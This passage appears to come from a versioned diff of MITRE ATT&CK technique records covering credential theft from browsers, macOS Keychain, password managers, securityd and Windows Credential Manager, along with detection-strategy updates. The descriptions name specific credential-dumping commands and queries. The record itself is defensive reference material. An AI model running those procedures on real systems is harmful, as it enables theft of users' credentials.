attempts at persistence.(Citation: TechNet Autoruns) \\n-\\n-Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\\n-\\n-Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1028: Operating System Configuration", + "M1040: Behavior Prevention on Endpoint", + "M1045: Code Signing", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0019: Service (Service Modification)", + "DS0022: File (File Metadata)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0027: Driver (Driver Load)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0552: Detection of Windows Service Creation or Modification" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:48:28.456000+00:00", + "modified": "2025-10-24 17:48:41.974000+00:00", + "name": "Credentials from Password Stores", + "description": "Adversaries may search for common password storage locations to obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555", + "external_id": "T1555" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Command: Command Execution\", \"Process: Process Access\", \"Cloud Service: Cloud Service Enumeration\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.974000+00:00\", \"old_value\": \"2025-04-15 22:12:11.343000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0025: Cloud Service (Cloud Service Enumeration)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0430: Detect Credentials Access from Password Stores" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-12 18:57:36.041000+00:00", + "modified": "2025-10-24 17:48:49.577000+00:00", + "name": "Credentials from Web Browsers", + "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555/003", + "external_id": "T1555.003" + }, + { + "source_name": "GitHub Mimikittenz July 2016", + "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.", + "url": "https://github.com/putterpanda/mimikittenz" + }, + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "source_name": "Microsoft CryptUnprotectData April 2018", + "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata" + }, + { + "source_name": "Proofpoint Vega Credential Stealer May 2018", + "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign" + }, + { + "source_name": "FireEye HawkEye Malware July 2017", + "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Ryan Benson, Exabeam", + "Barry Shteiman, Exabeam", + "Sylvain Gil, Exabeam", + "RedHuntLabs, @redhuntlabs", + "Don Le, Stifel Financial" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Access\", \"File: File Access\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.577000+00:00\", \"old_value\": \"2025-04-15 22:12:28.087000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify web browser files that contain credentials such as Google Chrome\\u2019s Login Data database file: AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][4]\": \"Don Le, Stifel Financial\"}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1021: Restrict Web-Based Content", + "M1027: Password Policies", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0037: Detect Suspicious Access to Browser Credential Stores" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-12 18:55:24.728000+00:00", + "modified": "2025-10-24 17:48:29.756000+00:00", + "name": "Keychain", + "description": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \u2013d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555/001", + "external_id": "T1555.001" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.", + "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418" + }, + { + "source_name": "Keychain Services Apple", + "description": "Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.", + "url": "https://developer.apple.com/documentation/security/keychain_services" + }, + { + "source_name": "Empire Keychain Decrypt", + "description": "Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.", + "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py" + }, + { + "source_name": "OSX Keychain Schaumann", + "description": "Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.", + "url": "https://www.netmeister.org/blog/keychain-passwords.html" + }, + { + "source_name": "Keychain Decryption Passware", + "description": "Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.", + "url": "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.756000+00:00\", \"old_value\": \"2025-04-15 22:44:01.937000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0396: Detect Access to macOS Keychain for Credential Theft" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-01-22 16:08:40.629000+00:00", + "modified": "2025-10-24 17:48:36.347000+00:00", + "name": "Password Managers", + "description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555/005", + "external_id": "T1555.005" + }, + { + "source_name": "Cyberreason Anchor December 2019", + "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.", + "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware" + }, + { + "source_name": "FoxIT Wocao December 2019", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", + "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf" + }, + { + "source_name": "ise Password Manager February 2019", + "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.", + "url": "https://www.ise.io/casestudies/password-manager-hacking/" + }, + { + "source_name": "Github KeeThief", + "description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.", + "url": "https://github.com/GhostPack/KeeThief" + }, + { + "source_name": "NVD CVE-2019-3610", + "description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Matt Burrough, @mattburrough, Microsoft", + "Don Le, Stifel Financial" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Access\", \"Process: OS API Execution\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.347000+00:00\", \"old_value\": \"2025-04-15 22:56:22.300000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \\n\\nConsider monitoring file reads surrounding known password manager applications.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \\n-\\n-Consider monitoring file reads surrounding known password manager applications.\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Don Le, Stifel Financial\"}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1027: Password Policies", + "M1051: Update Software", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0597: Detect Unauthorized Access to Password Managers" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-12 18:56:31.051000+00:00", + "modified": "2025-10-24 17:48:28.055000+00:00", + "name": "Securityd Memory", + "description": "An adversary with root access may gather credentials by reading `securityd`\u2019s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user\u2019s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s `securityd` utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555/002", + "external_id": "T1555.002" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.", + "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418" + }, + { + "source_name": "Apple Dev SecurityD", + "description": "Apple. (n.d.). Security Server and Security Agent. Retrieved March 29, 2024.", + "url": "https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html" + }, + { + "source_name": "OS X Keychain", + "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20130106164109/https://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.055000+00:00\", \"old_value\": \"2025-04-15 23:05:25.349000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Access)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0057: Detect Suspicious Access to securityd Memory for Credential Extraction" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-11-23 15:35:53.793000+00:00", + "modified": "2025-10-24 17:49:26.444000+00:00", + "name": "Windows Credential Manager", + "description": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555/004", + "external_id": "T1555.004" + }, + { + "source_name": "Malwarebytes The Windows Vault", + "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.", + "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/" + }, + { + "source_name": "Delpy Mimikatz Crendential Manager", + "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.", + "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials" + }, + { + "source_name": "Microsoft Credential Locker", + "description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN" + }, + { + "source_name": "Microsoft Credential Manager store", + "description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store" + }, + { + "source_name": "Microsoft CredEnumerate", + "description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea" + }, + { + "source_name": "passcape Windows Vault", + "description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.", + "url": "https://www.passcape.com/windows_password_recovery_vault_explorer" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Bernaldo Penas Antelo", + "Mugdha Peter Bansode", + "Uriel Kosayev", + "Vadim Khrykov" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.444000+00:00\", \"old_value\": \"2025-04-15 23:21:30.628000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:\\u201cWindows Credentials\\u201d).(Citation: Malwarebytes The Windows Vault)\\n\\nConsider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\\n\\nConsider monitoring file reads to Vault locations, %Systemdrive%\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Local\\\\Microsoft\\\\\\\\[Vault/Credentials]\\\\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:\\u201cWindows Credentials\\u201d).(Citation: Malwarebytes The Windows Vault)\\n-\\n-Consider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\\n-\\n-Consider monitoring file reads to Vault locations, %Systemdrive%\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Local\\\\Microsoft\\\\\\\\[Vault/Credentials]\\\\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0134: Detect Suspicious Access to Windows Credential Manager" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-14 18:47:17.701000+00:00", + "modified": "2025-10-24 17:49:27.149000+00:00", + "name": "Data Destruction", + "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 